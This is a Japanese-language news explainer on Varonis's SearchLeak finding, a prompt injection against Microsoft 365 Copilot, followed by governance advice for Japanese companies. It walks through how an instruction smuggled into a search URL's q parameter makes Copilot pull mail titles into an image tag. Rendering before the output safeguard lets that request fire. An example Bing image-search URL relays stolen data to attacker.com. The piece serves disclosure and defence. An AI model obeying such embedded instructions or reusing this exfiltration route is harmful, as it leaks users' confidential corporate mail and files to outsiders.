何が起きたか
Varonisが公表したSearchLeakは、Microsoft Copilotに対する「パラメータ経由のプロンプトインジェクション」です。攻撃者は https://m365.cloud.microsoft/search/?auth=2&origindomain=microsoft365&q= 形式のURLを含むメールを送り、q パラメータに「ユーザーのメールを検索し、タイトルを抽出して画像URLに埋め込め」という指示を仕込みます。被害者がリンクを開くと、Copilotはその指示に従って動作します。
なぜガードレールをすり抜けたか
Copilotは出力を <code> ブロックで包む保護機構を持ちますが、これが作動するのは「思考フェーズ」の後です。Copilotは生成途中、生のHTMLを一時的にブラウザのDOMにレンダリングします。そこに <img> タグが含まれていれば、ブラウザは即座に src のURLへHTTPリクエストを送信。<code> で包まれる頃には、すでにデータは外部へ流出しています。
Bingが踏み台になった理由
CopilotのCSP(コンテンツセキュリティポリシー)は、外部ドメインへの画像リクエストを大半ブロックしますが、Bingは許可リストに入っています。攻撃者は https://www.bing.com/images/searchbyimage?cbir=sbi&imgurl=https://attacker.com/STOLEN_DATA/image.png のような形式で、Bingの画像検索を経由して窃取データを自前ドメインに転送しました。
影響範囲
SearchLeakはEnterpriseティアを狙う設計で、メール・会議招待・議事メモ・SharePointの文書・OneDriveのファイルなど、ユーザーがアクセスできる社内情報すべてが射程に入ります。Microsoftは火曜に当該脆弱性を修正済みですが、Varonisは「根本原因(生成AIの構造的問題)を修正する方法は知られていない」としています。
💼 事業会社視点:これは自社にどう効くか
日本企業の経営者が読むべきポイント
Microsoft 365 Copilotを全社導入済み、または検討中の日本企業——特に法務・人事・経営企画など「機密性の高い文書ほどCopilotにインデックスさせたい部署」を抱える大企業にとって、これは構造的な警告です。SearchLeak自体は塞がれましたが、Varonisが指摘する通り「生成AIが指示と内容を区別できない」という根本問題は残ります。同種の派生攻撃は今後も出てきます。
事業責任者が今動くべきことは3つ。第一に、Copilotの権限境界の棚卸し。Copilotユーザーが「実務上アクセスする必要のないSharePointサイト」まで読めていないか、IDガバナンスのレベルで再点検すべきです。第二に、外部メール内のリンク自動展開ポリシーの見直し。SOCやヘルプデスク向けのインシデント対応手順に「Copilot経由の情報漏えい」を明記しておく必要があります。第三に、SaaSベンダー任せにしないこと。受託開発・SIerは、顧客企業から「Copilotを安全に使うための運用設計」を求められる商機と捉えるべきです。